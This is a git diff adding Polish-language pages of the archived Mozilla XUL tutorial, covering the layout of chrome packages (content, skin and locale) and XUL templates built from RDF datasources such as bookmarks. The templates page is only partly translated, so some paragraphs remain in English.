+<p>Istnieją jeszcze dwa inne miejsca, gdzie słowo chrome może się pojawić. Pierwszym jest argument wiersza poleceń '-chrome' a drugim modyfikator chrome w funkcji <code><a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open()</a></code>. Żadna z tych funkcji nie przyznaje dodatkowych przywilejów; zamiast tego otwierają nowe okno, na wierzchu, bez elementów interfejsu użytkownik (UI) przeglądarki takie jak menu i pasek narzędzi. W bardziej złożonych aplikacjach XUL, będziesz powszechnie używał tych cech, gdy nie będziesz chciał by te elementy UI znajdowały się w twoich okienkach dialogowych.</p>
+
+<p>Pliki w paczce zwykle są połączone w jeden plik JAR. Plik JAR można utworzyć i przeglądać za pomocą programu do kompresji ZIP. Otwórz teraz kilka plików JAR w katalogu chrome, Mozilli i zobacz jak wygląda struktura takiej paczki. Pomimo, że normą jest łączenie plików w jeden plik JAR, dostęp do paczek można uzyskać w rozwiniętej formie, jako zestaw katalogów. Normalnie nie rozprowadza się paczek w ten sposób, ale jest to wygodne podczas tworzenia rozszerzenia, ponieważ możesz edytować katalog z plikami i po prostu przeładować pliki XUL bez przepakowania i ponownej instalacji.</p>
+
+<pre class="eval">pref("nglayout.debug.disable_xul_cache", true);
+</pre>
+
+<p>Zazwyczaj w paczce chrome są trzy różne części, mimo, że wszystkie są opcjonalne. Każda część jest przetrzymywana w innych katalogach. Te trzy zestawy to content (zawartość), skin (skóry) i locale (lokalizacja), opisano je poniżej. Niektóre paczki mogą zawierać jedną albo więcej skór i lokalizacji, użytkownik może też zastąpić je własnymi. W dodatku paczka może zawierać kilka różnych aplikacji, każdą dostępną przez różne URL chrome. System pakowania jest wystarczająco elastyczny, żebyś mógł umieścić w paczce jakąkolwiek część, którą potrzebujesz i pozwolić innym, takim jak tekst dla różnych języków, żeby zostały pobrane oddzielnie.</p>
+
+<p>Katalogi:</p>
+
+<ul>
+ <li><strong>Content</strong> (zawartość) - okna i skrypty.</li>
+</ul>
+
+<p>Zawarte są w nim deklaracje okien i elementów interfejsu użytkownika. Są one zapisane w plikach XUL, które mają rozszerzenie xul. Paczka może posiadać wiele plików XUL, ale główne okno powinno mieć taką samą nazwę jak nazwa paczki. Na przykład, paczka edytora (kompozera) będzie miała plik o nazwie editor.xul. Skrypty znajdują się w osobnych plikach o rozszerzeniu js, obok plików XUL.</p>
+
+<ul>
+ <li><strong>Skin</strong> (skóra) - style CSS, obrazy i inne pliki motywów wyglądu.</li>
+</ul>
+
+<p>Style CSS opisują szczegóły wyglądu okna. Są one oddzielone od plików XUL, by ułatwić modyfikowanie skóry aplikacji. Znajdują się tu też użyte obrazki.</p>
+
+<ul>
+ <li><strong>Locale</strong> (lokalizacja) - lokalizacja określonych plików.</li>
+</ul>
+
+<p>Wszystkie teksty, które są wyświetlane w oknie są zgromadzone oddzielnie. Dzięki czemu użytkownik może mieć własny zestaw tekstów we własnym języku.</p>
+
+<p>Spójrz na katalog chrome w Mozilli, powinieneś widzieć kilka plików JAR, po jednym dla każdej zainstalowanej paczki. Na przykład messenger.jar opisuje interfejs użytkownika dla komponentu kuriera poczty. Plik modern.jar opisuje skórę Modern.</p>
+
+<h2 id="Zawarto.C5.9B.C4.87_paczek" name="Zawarto.C5.9B.C4.87_paczek">Zawartość paczek</h2>
+
+<p>Nazwa pliku JAR może opisywać co zawiera ten plik, ale nie możesz być tego pewny dopóki sam nie sprawdzisz. Użyjemy paczki kuriera poczty jako przykładu. Jeśli rozpakujesz plik <code>browser.jar</code> zobaczysz, że struktura jego plików wygląda następująco:</p>
+
+<pre>content
+ browser
+ browser.xul
+ browser.js
+ -- other browser XUL and JS files goes here --
+ bookmarks
+ -- bookmarks files go here --
+ preferences
+ -- preferences files go here --
+.
+.
+.
+</pre>
+
+<p>Łatwo zgadnąć, że paczka zawartości (ang. content) znajduje się w folderze 'content', skóry w 'skin' a lokalizacje w 'locale'. Ten schemat nazywania nie jest wymagany, ale jest powszechnie uznawany, gdyż dzięki niemu paczka jest bardziej uporządkowana. Niektóre paczki zawierają wszystkie 3 części: content, skin i locale. Dla przykładu, Chatzilla ma taką strukturę.</p>
+
+<p>Katalogi content i messenger zawiera pliki o rozszerzeniem xul i js. Jak łatwo się domyślić pliki XUL mają rozszerzenie xul a skrypty JavaScript, js. w tym przypadku skrypty obsługują funkcje okna kuriera. Wiele plików XUL posiada powiązany ze sobą skrypt a niektóre nawet więcej niż jeden.</p>
+
+<p>W strukturze przedstawionej powyżej, znajdują się dwa pliki. Oczywiście jest ich więcej ale dla ułatwienia pokazane są tylko dwa. Plik messenger.xul opisuje główne okno kuriera które wyświetla listę wiadomości. Okno to jest dość złożone dlatego składa się z kilku plików powiązanych ze sobą za pomocą overlays. Główne okno powinno mieć taką samą nazwę jak paczka i rozszerzenie xul. W tym przypadku paczka nazywa się 'messenger' dlatego powinniśmy szukać pliku 'messenger.xul'. Niektóre z reszty plików opisują oddzielne okna. Przykładowo plik 'subscribe.xul' opisuje dialog subskrybowania grup newsowych.</p>
+
+<p>Plik contents.rdf znajduje się w każdej paczce. Jest to bardzo ważny plik ponieważ określa nazwę paczki, jej autora i wersje. Mozilla używa tych informacji do rejestracji paczki i przydzielenia jej adresu URL chrome, żeby plik był dostępny przez ten adres bo bez tego pliku nie można go przydzielić. Plik ten zostanie dokładniej opisany w dalszych częściach.</p>
+
+<p>Dwa podkatalogi - addressbook i messengercompose, opisują dodatkowe sekcje komponentu obsługi poczty. Są umieszczone w oddzielnych katalogach, żeby je odseparować. Nie potrzebują pliku 'contents.rdf' ponieważ są dostępne przez ten sam adres chrome.</p>
+
+<h2 id="Motywy_i_sk.C3.B3rki" name="Motywy_i_sk.C3.B3rki">Motywy i skórki</h2>
+
+<p>Podstawowy kod Mozilli nazywa je motywami a interfejs użytkownika motywami (themes), jednak oba określenia odnoszą się do tej samej rzeczy. Pliki modern.jar i classic.jar znajdują się w katalogu chrome Mozilli i opisują motywy wyglądu Mozilli. Ich struktura jest podobna do paczki content. Przykład z pliku modern.jar:</p>
+
+<pre class="eval">skin
+ modern
+ navigator
+ contents.rdf
+ -- pliki skór nawigatora --
+ messenger
+ contents.rdf
+ -- pliki kuriera --
+ editor
+ contents.rdf
+ -- pliki kompozytora stron --
+ communicator
+ contents.rdf
+ -- pliki komunikatora --
+ global
+ contents.rdf
+ -- pliki skór globalnych --
+.
+.
+.
+</pre>
+
+<p>Struktura jest tu bardziej skomplikowana, chodź jest podobna do części content. Zamiast słowa 'content' w folderze na najwyższym poziomie użyto słowa 'skin'. Zapamiętaj, że ta struktura jest czysto umowna, równie dobrze możesz umieści wszystkie pliki w jednym głównym katalogu i nie używać podkatalogów. Jednakże w większych aplikacjach, jak w samej Mozilli, podkatalogi oddzielają różne komponenty. W przykładzie powyżej znajduje się 5 katalogów, po jednym dla każdej paczki dla której przeznaczono skórę. Katalog global zawiera skóry ogólne dla wszystkich paczek. Pliki te odnoszą się do wszystkich komponentów, zazwyczaj będziesz sam ich używał. Katalog global definiuje wygląd wszystkich elementów UI w XUL, podczas gdy inne katalogi definiują wygląd aplikacji którym odpowiadają. Przykładowo katalog editor opisuje skórę dla komponentu kompozytora stron i zwiera między innymi pliki graficzne z ikonami dla przycisków paska narzędzi.</p>
+
+<p>Zauważyłeś zapewne, że jest 5 plików contents.rdf. Właśnie dzięki nim skóry są stosowane oddzielnie dla każdego komponentu. Teoretycznie możesz mieć skórę inną dla nawigatora, niż dla kuriera, jednak większość wyglądu jest determinowana przez część global, tak więc nie zobaczysz dużej różnicy pomiędzy aplikacjami. Poza tym Mozilla nie umożliwia wyboru oddzielnego motywu dla każdej aplikacji. Skóry również są oddzielnymi plikami, łatwo więc można dodać nowe komponenty a istniejące usunąć. Na przykład możesz stworzyć nową skórę dla kuriera a użytkownicy mogą ściągnąć ją oddzielnie. Dzięki pakowaniu plików oddzielne, użytkownik może wybrać których części chce używać.</p>
+
+<p>Skóra składa się z plików CSS i plików graficznych, które razem tworzą interfejs. Plik messenger.css jest używany przez messenger.xul i zawiera style które definiują wiele części interfejsu poczty. Zauważ, że znowu plik messenger.css ma taką samą nazwę jak cała paczka. Zmieniając zawartość plików CSS możesz zmieniać wygląd okna, nie zmieniając jego funkcji. Właśnie tak możesz stworzyć swój własny motyw bo skóry zmieniają się niezależnie od części XUL.</p>
+
+<h2 id="Lokalizacje" name="Lokalizacje">Lokalizacje</h2>
+
+<p>Plik en-US.jar opisuje informacje o języku, w tym przypadku angielskim, dla każdego komponentu. Tak jak skóry, każdy język zawiera pliki które określają tekst używany przez konkretną paczkę. Tak jak poprzednio, w paczce znajdują się pliki contents.rdf które opisują dla których paczek przeznaczono teksty. Podkatalogi zawierają tekst dla każdej paczki. Struktura tej paczki jest bardzo podobna do skin:</p>
+
+<pre class="eval">locale
+ navigator
+ contents.rdf
+ -- pliki tekstów w nawigatorze --
+ global
+ contents.rdf
+ -- pliki tekstów globalnych --
+.
+.
+.
+</pre>
+
+<p>Teksty lokalizacji znajdują się w dwóch typach plików: DTD i plików właściwości (properties). Pliki DTD mają rozszerzenie dtd i zawierają opis pojedynczych ciągów tekstu po jednym dla każdego tekstu użytego w oknie. Dla przykładu, plik messenger.dtd zawiera takie opisy dla każdej komendy menu. Dodatkowo, zdefiniowane są skróty klawiaturowe dla każdej komendy, gdyż mogą się różnić w innych językach. Pliki DTD są używane przez pliki XUL, na ogół będzie to po jednym dla każdego pliku XUL. Jak już wspomniałem, znajdują się tu również pliki właściwości, które są podobne ale używają ich skrypty. Plik messenger.properties zawiera kilka ciągów tekstów.</p>
+
+<p>Taka struktura umożliwia przetłumaczenie Mozilli albo tylko wybranego komponentu na inny język, wystarczy dodać tylko nowy plik locale dla tego języka. Nie ma potrzeby zmieniania części XUL. Dodatkowo, inna osoba może stworzyć oddzielną paczkę która będzie zawierać skórę lub lokalizacje dla stworzonej przez ciebie zawartości (content), nie ma potrzeby zmieniać oryginalnej paczki.</p>
+
+<h2 id="Inne_paczki" name="Inne_paczki">Inne paczki</h2>
+
+<p>Wiele paczek w Mozilli jest podpaczkami, paczki komunikatora. Dla przykładu okna zakładek, historii i opcji znajdują się poza paczką komunikatora. Znajdują się oddzielnie ponieważ dotyczą większej ilości paczek.</p>
+
+<p>Istnieje specjalny rodzaj paczki zwany toolkit lub global. Wcześniej widzieliśmy katalog global w paczce skór i lokalizacji. Plik toolkit.jar zawiera odpowiadającą im część content. Zawiera niektóre globalne dialogi i definicje. Określa również domyślny wygląd i funkcje dla elementów interfejsu, jak pola tekstowe i przyciski. Pliki znajdujące się w katalogu global paczki skór, zawierają definicje wyglądu wszystkich elementów XUL interfejsu użytkownika. Większość zmian motywów wyglądu, powoduje użycie różnych wariantów tych plików.</p>
+
+<h2 id="Dodawanie_paczki" name="Dodawanie_paczki">Dodawanie paczki</h2>
+
+<p>Mozilla umieszcza paczki zawarte w instalacji w katalogu chrome, mimo, że nie ma wymogu żeby znajdowały się one właśnie tam. Paczki mogą być zainstalowane w dowolnym miejscu na dysku. Plik chrome.rdf zawiera listę zainstalowanych paczek, motywów i lokalizacji wraz z ich położeniem. Powszechnie instaluje się nowe paczki w katalogu chrome, ponieważ jest to wygodne ale będą one równie dobrze działać z innego katalogu albo nawet z sieci lokalnej. Nie możesz przetrzymywać ich w zdalnych katalogach, chyba, że są one zamontowane w lokalnym systemie plików.</p>
+
+<p>Użytkownik może mieć zainstalowane wiele skór i lokalizacji które dotyczą tej samej paczki. Jednocześnie może być aktywna tylko jedna skóra i lokalizacja dla paczki. Plik chrome/chrome.rdf określa które z nich są aktywne, również określa paczkę content. Plik w chrome.rdf w katalogu profilu działa podobnie do tego z głównego katalogu Mozilli ale zawiera informacje dotyczące tylko danego użytkownika podczas gdy jego odpowiednik w katalogu instalacyjnym dotyczy wszystkich użytkowników.</p>
+
+<p>W następnym artykule skupimy się na tym, jak odwołać się do paczki chrome za pomocą <a href="/pl/Kurs_XUL/URL_Chrome" title="pl/Kurs_XUL/URL_Chrome">URL chrome</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wprowadzenie" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:URL_Chrome">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/szablony/index.html b/files/pl/mozilla/tech/xul/kurs_xul/szablony/index.html
new file mode 100644
index 0000000000..a2ed5d6c2c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/szablony/index.html
@@ -0,0 +1,201 @@
+---
+title: Szablony
+slug: Mozilla/Tech/XUL/Kurs_XUL/Szablony
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Templates
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wprowadzenie_do_RDF" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Drzewa_i_szablony">Następny »</a></p>
+</div> W tym artykule, przekonamy się jak wypełnić elementy kodem źródłowym.<p></p>
+
+<h3 id="Wype.C5.82nianie_elementami" name="Wype.C5.82nianie_elementami">Wypełnianie elementami</h3>
+
+<p>XUL dostarcza metody, w których możemy tworzyć elementy za pomocą kodu RDF, albo pochodzące z pliku RDF lub pochodzące z własnych źródeł. Liczne źródła danych są dostarczane z Mozilli także jako podręczniki, historia i wiadomości e-mail. Więcej informacji znajduje się w <a href="/pl/Kurs_XUL/Drzewa_i_szablony" title="pl/Kurs_XUL/Drzewa_i_szablony">następnym artykule</a>.</p>
+
+<p>Często, elementy takie jak elementy drzewa i elementy menu będą wypełnione danymi. Jednakże, będziesz chciał używać jej zdefiniowanej dla specjalnych warunków. Niemniej jednak, rozpoczniemy z tymi innymi elementami, ponieważ drzewa i menu potrzebują więcej kodu.</p>
+
+<p>Pozwolenie na tworzenie elementów opartych na kodzie źródłowym, potrzebujesz przygotować prosty szablon, który będzie tworzony jako duplikat na każdym elemencie. Istotnie, tworzymy pierwszy element, który pozostanie jako konstrukcja na pozostałych elementach.</p>
+
+<p>Szablon jest tworzony używając elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/template" title="template">template</a></code></code>. Wewnątrz, możesz położyć te elementy, które chcesz użyć do skonstruowania elementu. Elementy <code>template</code> powinny być umieszczone wewnątrz zbioru, który stanowi stworzone elementy. Na przykład jeśli używasz drzewa, powinieneś położyć element <code>template</code> do wewnątrz elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code></code>.</p>
+
+<h4 id="Simple_Template_Example" name="Simple_Template_Example">Przykład prostego szablonu</h4>
+
+<p>Lepiej będzie to wytłumaczyć na przykładzie. Weźmy prosty przykład gdzie chcemy utworzyć przycisk dla każdej górnego-poziomu zakładki. Mozilla dostarcza kod źródłowy zakładek tak więc mogą być one użyte do pobrania danych. Ten przykład będzie potrafił tylko pobrać zakładek górnego-poziomu (lub folderów zakładek) jakie będziemy chcieli używać jako przyciski. Dla potomnych zakładek, będziemy potrzebować do użycia elementu do wyświetlenia hierarchii takiej jak drzewo lub menu.</p>
+
+<div class="note">Ten przykład i jakikolwiek inny, który powołuje się na wewnętrzny kod RDF, będzie działał poprawnie jeśli wgrasz go z adresu URL chrome. Z przyczyn bezpieczeństwa. Mozilla nie pozwala na dostęp z innych źródeł.</div>
+
+<p>Aby obejrzeć ten przykład, utwórz pakiet chrome i wczytaj z niego pliki. Możesz teraz potwierdzić adres URL chrom wpisując go do przeglądarki URL.</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+ &lt;template&gt;
+ &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:templates1.jpg" class="internal" src="/@api/deki/files/2505/=Templates1.jpg"></div>
+
+<p>Powyżej zostało stworzone pionowe pole okna, które stanowi kolumnę przycisków, każda jedna zakładka jest wyrównywana do górnego poziomu. Możesz zobaczyć jak <code>template</code> stanowi pojedynczy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Używany jest w liczbie mnogiej dla wszystkich potrzebnych przycisków do tworzenia. Możesz obejrzeć grafikę gdyż ustawienia przycisków zostały utworzone, jeden dla każdej zakładki.</p>
+
+<p>Spróbuj dodać zakładkę do przeglądarki podczas gdy masz otwarte okno przykładu. Zostaniemy natychmiast powiadomieni, że przyciski z przykładu zostały zaktualizowane (możesz skupić się na tej zmianie).</p>
+
+<h4 id="Container_and_Datasources" name="Container_and_Datasources">Kontener i źródła danych</h4>
+
+<p>Szablon samoczynnie umieści się w pionowym polu. Pole posiada dwa specjalne atrybuty używane w szablonach, które są użyte tam skąd pochodzą dane. Pierwszy atrybut pola jest to atrybut <code>datasources</code>. Jest on użyty do deklaracji w co kod źródłowy RDF będzie zaopatrywał tworzony element. W tej sytuacji, są użyte <code>rdf:bookmarks</code>. Możemy prawdopodobnie przypuszczać jakie znaczenie ma użyty kod źródłowy, który został dostarczony przez Mozillę. Aby użyć własnego kodu źródłowego, używamy określonego adresu URL dla pliku RDF zawierającego atrybut <code>datasources</code>, jak pokazuje poniższy przykład:</p>
+
+<pre>&lt;box datasources="chrome://zoo/content/animals.rdf"
+ ref="http://www.some-fictitious-zoo.com/all-animals"&gt;
+</pre>
+
+<p>Możesz podać wiele źródeł danych poprzez oddzielnie ich za pomocą spacji w wartości atrybutu. Używa się tego do wyświetlenia danych z wielu źródeł.</p>
+
+<p>Atrybut <code>ref</code> oznacza, z którego źródła chcesz pobierać dane. W przypadku zakładek wartość <code>NC:BookmarksRoot</code> jest użyta do wskazania podstawy hierarchii zakładek. Inne wartości do użycia zależą od źródła danych. Jeśli używasz jako źródło własnego pliku RDF wartość ta odpowiadała będzie zwykle wartości atrybutu <code>about</code> w RDF-ie <code>Bag</code>, <code>Seq</code> lub elementowi <code>Alt</code>.</p>
+
+<h4 id="Inside_the_Template" name="Inside_the_Template">Wewnątrz szablonu</h4>
+
+<p>By adding these two attributes to the box above, it allows the generation of elements using the template. However, the elements inside the template need to be declared differently. You may notice in the example above that the <code>button</code> has a <code>uri</code> attribute and an unusual value for the <code>label</code> attribute.</p>
+
+<p>An attribute value inside the template that begins with 'rdf:' indicates that the value should be taken from the datasource. In the example earlier, this is the case for the <code>label</code> attribute. The remainder of the value refers to the name property in the datasource. It is constructed by taking the namespace URL used by the datasource and appending the property name. If you don't understand this, try re-reading the last part of <a href="/pl/Kurs_XUL/Wprowadzenie_do_RDF" title="pl/Kurs_XUL/Wprowadzenie_do_RDF">the previous section</a>. It explains how resources in RDF can be referred to. Here, we only use the name of the bookmark but numerous other fields are available.</p>
+
+<p>The <code>label</code> of the buttons is set to this special URI because we want the labels on the buttons to be set to the names of the bookmarks. We could have put a URI in any of the attributes of the <code>button</code>, or any other element. The values of these attributes are replaced with data supplied by the datasource which, in this case, is the bookmarks. So we end up with the labels on the buttons set to the names of the bookmarks.</p>
+
+<p>The example below shows how we might set other attributes of a button using a datasource. Of course, this assumes that the datasource supplies the appropriate resources. If a particular one is not found, the value of the attribute will be set to an empty string.</p>
+
+<pre>&lt;button class="rdf:http://www.example.com/rdf#class"
+ uri="rdf:*"
+ label="rdf:http://www.example.com/rdf#name"
+ crop="rdf:http://www.example.com/rdf#crop"/&gt;
+</pre>
+
+<p>As you can see, you can dynamically generate lists of elements with the attributes provided by a separate datasource.</p>
+
+<p>The uri attribute is used to specify the element where content generation will begin. Content earlier will only be generated once whereas content inside will be generated for each resource. We'll see more about this when we get to <a href="/pl/Kurs_XUL/Drzewa_i_szablony" title="pl/Kurs_XUL/Drzewa_i_szablony">creating templates for trees</a>.</p>
+
+<p><span class="comment">Atrybut '''uri''' jest użyty w stosunku do specyficznych elementów gdzie zawartość wygenerowana będzie na początku. Zawartość</span></p>
+
+<h4 id="Wi.C4.99cej_przyk.C5.82ad.C3.B3w" name="Wi.C4.99cej_przyk.C5.82ad.C3.B3w">Więcej przykładów</h4>
+
+<p>Poprzez dodawanie tych funkcjonalności do kontenera będącego w szablonie (który w tym przypadku jest prostokątem) i do elementów szablonu, możemy wygenerować różnorodne spisy treści zewnętrznej. Oczywiście, możemy umieścić więcej niż jeden element wewnątrz szablonu i dodać specjalnie referencje RDF do atrybutów elementów. Poniższy przykład demonstruje to.</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_2.xul.txt">Źródła</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+ &lt;template&gt;
+ &lt;vbox uri="rdf:*"&gt;
+ &lt;button label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;label value="rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+ &lt;/vbox&gt;
+ &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<p>Przykład ten utworzy pionowy box z przyciskiem i etykietą dla każdej zakładki. Przycisk posiada nazwę zakładki, a etykieta to jest URL.</p>
+
+<p>Nowe elementy są utworzone jako funkcjonalne, jedyne, nie inne potrafią wpisać się bezpośrednio w plik XUL. Atrybut <code>id</code> jest dodawany do każdego elementu utworzonego poprzez szablon, który jest ustawiony na wartość, która identyfikuje zasoby kodu. Możesz używać tego do identyfikacji swoich zasobów.</p>
+
+<p>Możesz także wyszczególnić wielokrotną wartość źródła w tym samym atrybucie poprzez odseparowanie go spacją, jak w przykładzie poniżej. <a class="external" href="http://www.xulplanet.com/tutorials/xultu/templateex.html">Więcej o składni źródła</a> (XULPlanet).</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_3.xul.txt">Źródła</a></p>
+
+<pre>&lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot"
+ flex="1"&gt;
+ &lt;template&gt;
+ &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name rdf:http://home.netscape.com/NC-rdf#URL"/&gt;
+ &lt;/template&gt;
+&lt;/vbox&gt;
+</pre>
+
+<h3 id="Jak_s.C4.85_budowane_szablony" name="Jak_s.C4.85_budowane_szablony">Jak są budowane szablony</h3>
+
+<p>Kiedy element posiada atrybut <code>datasources</code>, to sygnalizuje, że ten element oczekuje na budowę poprzez formularz szablonu. Note that it isn't the <code>template</code> tag that determines whether content is built, it is the <code>datasources</code> attribute. When this attribute is present, an object called a Builder is added to the element. It is this object that is responsible for building the content from the template. In JavaScript you can access the builder object with the <code>builder</code> property, although usually you would only need to do this to have the builder regenerate the content in situations where it is not done automatically.</p>
+
+<p>Istnieją dwa rodzaje kreatorów. Pierwszym, najczęściej używanym, jest kreator treści, natomiast drugi to kreator drzewek stosowany jedynie do drzewek.</p>
+
+<h4 id="Content_Builder" name="Content_Builder">Kreator treści</h4>
+
+<p>The content builder takes the content inside the <code>template</code> element and duplicates it for each row. For instance, if the user had ten bookmarks in the example above, ten <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> elements would be created and added as children of the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code> element. If you were to use DOM functions to traverse the tree, you will find these elements there and can query their properties. These elements get displayed, but the <code>template</code> itself is not displayed, although it still exists the the document tree. In addition, the <code>id</code> of each of the labels will be set to the RDF resource for that row.</p>
+
+<p>Kreator treści zawsze rozpoczyna pracę od miejsca gdzie wyspecyfikowany jest uri="rdf:*". Jeśli atrybut <code>uri</code> jest umieszczony na niższym elemencie w drzewku, zewnętrze elementy są stworzone tylko raz. W poniższym przykładzie, jeden <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> będzie stworzony i wypełniony napisem dla każdej pozycji.</p>
+
+<pre>&lt;template&gt;
+ &lt;hbox&gt;
+ &lt;label uri="rdf:*" value="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;/hbox&gt;
+&lt;/template&gt;
+</pre>
+
+<p>Jeśli treść znajduje się wewnątrz elementu z atrybutem <code>datasources</code> i na zewnątrz szablonu, treść także się ukaże. Idąc tą drogą, możesz mieszać stałą i dynamiczną treść szablonu.</p>
+
+<h4 id="Tree_Builder" name="Tree_Builder">Kreator drzewek</h4>
+
+<p>The tree builder, on the other hand, doesn't generate the DOM elements for the rows. Instead, it gets the data directly from the RDF datasource whenever it needs it. Since trees are often expected to display thousands of rows of data, this is much more efficient. Creating an element for every cell would be too costly. However, the tradeoff is that trees may only display text, and, since no elements are created, you can't use CSS properties to style tree cells in the same way.</p>
+
+<p>Kreator drzewek jest używany wyłącznie do drzewek. Inne elementy są tworzone poprzez kreator treści. To nie powinno być problemem, choć inne elementy - jak na przykład menu - nie powinny wyświetlać zbyt dużo składników. Możliwe jest także użycie kreatora drzewek, stosując element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> i inne, odnoszące się do tego elementy będą stworzone w każdym rzędzie.</p>
+
+<h3 id="Zasady" name="Zasady">Zasady</h3>
+
+<p>In the image of the earlier example, you may have noticed that the third button is simply a button with hyphens on it. This is a separator in the bookmark list. In the way that we have been using it, the RDF bookmarks datasource supplies the separators as if they were just regular bookmarks. What we would really like to do is add a small amount of spacing instead of a button for separator resources. That means that we want to have two different types of content be created, one type for regular bookmarks and a second type for separators.</p>
+
+<p>Możemy zrobić to dzięki użyciu elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code></code>. Definiujemy reguły dla każdego odchylenia elementów, które chcielibyśmy stworzyć. W naszym przypadku, potrzebujemy regułę dla zakładek i regułę dla separatorów. Atrybuty umiejscowiono na elemencie <code>rule</code> określają które reguły należy zaakceptować przy zasobach RDF.</p>
+
+<p>When scanning for which rule applies to the data, each <code>rule</code> element is checked in sequence for a match. That means that the order in which you define rules is important. Earlier rules will override later rules.</p>
+
+<h4 id="Rule_Example" name="Rule_Example">Przykład użycia zasady</h4>
+
+<p>Przedstawiony przykład demonstruje wcześniejszy przykład z dwiema zasadami:</p>
+
+<p><span id="Przyk%C5%82ad_4"><a id="Przyk%C5%82ad_4"></a><strong>Przykład 4</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_templates_4.xul.txt">Źródła</a></p>
+
+<pre>&lt;window
+ id="example-window"
+ title="Bookmarks List"
+ xmlns:html="http://www.w3.org/1999/xhtml"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+ &lt;vbox datasources="rdf:bookmarks" ref="NC:BookmarksRoot" flex="1"&gt;
+ &lt;template&gt;
+
+ &lt;rule rdf:type="http://home.netscape.com/NC-rdf#BookmarkSeparator"&gt;
+ &lt;spacer uri="rdf:*" height="16"/&gt;
+ &lt;/rule&gt;
+
+ &lt;rule&gt;
+ &lt;button uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;/rule&gt;
+
+ &lt;/template&gt;
+ &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:templates2.jpg" class="internal" src="/@api/deki/files/2506/=Templates2.jpg"></div>
+
+<p>By using two rules, we have allowed the contents of the template to be selectively generated. In the first <code>rule</code>, bookmark separators are selected, as can be seen by the <code>rdf:type</code> attribute. The second <code>rule</code> does not have any attributes so all data matches it.</p>
+
+<p>All of the attributes placed on the <code>rule</code> tag are used as match criteria. In this case, the bookmarks datasource supplies a <code>rdf:type</code> property to distinguish separators. This attribute is set to a special value for separators in the RDF bookmarks datasource. This is how we can distinguish them from non-separators. You can use a similar technique for any attribute that might be on an RDF <code>Description</code> element.</p>
+
+<p>The special URL value given in the example above for the first rule is used for separators. That means that separators will follow rule one and generate a <code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> element, which will display a 16 pixel gap. Elements that are not separators will not match rule one and will fall through to rule two. Rule two does not have any attributes on it. This means that it will match all data. This is, of course, what we want to have happen to the rest of the data.</p>
+
+<p>You should also have noticed that because we wanted to get an attribute from the RDF namespace (<code>rdf:type</code>), we needed to add the namespace declaration to the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> tag. If we didn't do this, the attribute would be looked for in the XUL namespace. Because it does not exist there, the rule will not match. If you use attributes in your own custom namespace, you need to add the namespace declaration in order to match them.</p>
+
+<p>You should be able to guess what would happen if the second rule was removed. The result would be a single spacer displayed but no bookmarks because they don't match any of the rules.</p>
+
+<p>Put simply, a rule matches if all of the attributes placed on the <code>rule</code> element match the corresponding attributes on the RDF resource. In the case of an RDF file, the resources would be the <code>Description</code> elements.</p>
+
+<p>There are some small exceptions however. You cannot match based on the attributes id, <code>rdf:property</code> or <code>rdf:instanceOf</code>. Because you can just use your own attributes with your own namespace, it probably doesn't really matter anyway.</p>
+
+<p>Note that a template with no rules in it, as in the first example, is really equivalent functionally to a template with a single rule with no attributes.</p>
+
